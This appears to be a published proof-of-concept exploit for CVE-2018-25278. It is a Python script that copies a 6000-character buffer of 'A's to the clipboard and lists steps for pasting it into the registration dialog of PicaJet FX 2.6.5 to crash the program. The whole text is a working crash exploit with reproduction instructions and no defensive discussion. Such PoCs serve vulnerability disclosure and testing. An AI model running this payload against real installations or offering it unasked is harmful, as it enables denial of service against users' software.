CVE-2018-25278

import pyperclip # pip install pyperclip # PoC for CVE-2018-25278 # Generates a 6000-byte buffer to crash PicaJet FX 2.6.5 def generate_crash_payload(): # Create a buffer of 'A' characters with length 6000 buffer = 'A' * 6000 return buffer if __name__ == "__main__": try: payload = generate_crash_payload() pyperclip.copy(payload) print(f"[+] Payload of length {len(payload)} copied to clipboard.") print("[+] Steps to reproduce:") print("1. Open PicaJet FX 2.6.5") print("2. Go to Help -> Register PicaJet...") print("3. Paste the payload into 'Registration Name' or 'Registration Key'") print("4. Observe the application crash.") except Exception as e: print(f"[-] Error: {e}")

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